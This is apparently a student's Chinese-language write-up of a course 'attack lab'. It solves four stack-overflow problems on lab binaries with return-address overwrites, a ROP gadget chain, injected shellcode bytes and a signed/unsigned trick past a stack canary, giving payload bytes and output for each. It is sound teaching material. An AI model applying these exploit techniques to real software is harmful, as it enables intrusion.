栈溢出攻击实验

2024201636 许一孟

题目解决思路

Problem 1:

- **分析**:

- 输入参数：main 函数中 cmpl $0x2, -0x114(%rbp) 检查命令行参数个数。必须运行 ./problem1 ans1.txt 才能让程序进入fopen。
- 栈空间分配：sub $0x20, %rsp。

内存位置	内容	长度
rbp + 8	返回地址	8 bytes
rbp	旧的 RBP	8 bytes
rbp - 8	Buffer 起始位置	8 bytes
rbp - 24	局部变量等	16 bytes

- 漏洞：strcpy 不检查长度。
- 攻击操作：从 rbp - 0x8 开始写，用16个字节的padding到达返回地址，用小端改写返回地址为func1地址0x401216。

- **解决方案**:

```
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding+ func1_address
```

- **结果**:

```
camillexu@LAPTOP-V34D1BOI:~/attack-lab-Camille2025$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2:

- **分析**:

- 漏洞：mov $0x38, %edx。memcpy 会复制56个字节。
- 攻击位置：lea -0x8(%rbp), %rax。缓冲区起始于rbp - 8，与Problem1类似，足够覆盖rbp和ret addr（先放16字节padding）。
- func2：cmpl $0x3f8, -0x4(%rbp)。要求第一个参数%edi等于0x3f8才会跳转到目标位置0x40124c。
- 思路：利用pop_rdi中的0x4012c7处的pop %rdi; ret。执行到0x4012c7时，会把当前栈顶的值（应放0x3f8）弹入%rdi，然后ret跳转到新的栈顶指向的地址(应放func2_addr)。

- **解决方案**:

```
padding = b"A" * 16
ret_addr = b"\xc7\x12\x40\x00\x00\x00\x00\x00"
rdi_value = b"\xf8\x03\x00\x00\x00\x00\x00\x00"
func2_addr = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding + ret_addr + rdi_value + func2_addr
```

- **结果**:

```
camillexu@LAPTOP-V34D1BOI:~/attack-lab-Camille2025$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3:

- **分析**：想学习并尝试在不关闭内核全局栈随机化的情况下解答题目，同时也不绕过题目的0x72限制直接跳到检查之后。

- 漏洞：memcpy
- 抓手：func中 mov %rax,0x21a1(%rip) # saved_rsp。jmp_xs中 mov 0x21cd(%rip),%rax。
- 具体分析：栈大小为0x30，48字节，缓冲区开始于rbp - 0x20，jmp_xs中 addq $0x10,-0x8(%rbp)，-0x8(%rbp)中存着func的rsp，也就是rbp - 0x30, 这句刚好得到了rbp - 0x20，也就是缓冲区开始的位置。也就是jmp_xs正好跳转到缓冲区的开头。

- 目标是让func1执行到打印信息，需要满足edi = 0x72。
- 经过多次尝试拼接代码片段，由于可用的代码片段有很多rbp相对寻址，rax的变化也比较复杂，所以打算换一种方法。
- 采用直接注入二进制的汇编代码，mov $0x72$,0x401216(func1), %rax; call *%rax。总长14字节。
- 还需填充26字节，达到rbp + 8处，用8字节jmp_xs的地址覆盖ret_addr。

- **解决方案**:

```
code = b"\xbf\x72\x00\x00\x00\x48\xc7\xc0\x16\x12\x40\x00\xff\xd0"
padding = b"A"*26
xs_addr = b"\x34\x13\x40\x00\x00\x00\x00\x00"
payload = code + padding + xs_addr
```

- **结果**:

```
camillexu@LAPTOP-V34D1BOI:~/attack-lab-Camille2025$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- **分析**:

- canary的保机制: main和func函数头部都有，通过mov %fs:0x28, %rax从TLS中读取一个随机的 64 位数值（Canary），并将其存储在栈帧的rbp-0x8位置,位于局部变量与返回地址之间。在函数即将返回前，程序再次读取rbp-0x8的值，并执行sub %fs:0x28, %rax。如果栈没有被破坏，结果为0，正常返回；否则如果攻击者尝试通过缓冲区溢出覆盖返回地址，则必然会先覆盖掉位于其前方的Canary值，会终止并报错。
- func函数有通往目标func1的方式：必须执行13ad处的jae（-1无符号大于-2）；接下来循环，循环-2的无符号数次的减1后最终要得到1；同时满足13e3的je跳转，即 -0xc(%rbp)（备份） == -1。
- 看main发现程序接收三个参数 "%s %s %d"
- 前两个参数无所谓，第三个参数需要是-1才能满足上面三个条件。

- **解决方案**：前两个无所谓，第三个参数输入-1。
- **结果**:

```
camillexu@LAPTOP-V34D1BOI:~/attack-lab-Camille2025$ ./problem4
hi please tell me what is your name?
YimengXu
hi! do you like ics?
Yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

掌握了栈帧布局，学习了用代码片段的条转拼凑一个链条攻击，学习了动态随机化并用二进制汇编攻击，和Problem4的另一种攻击思路。

参考资料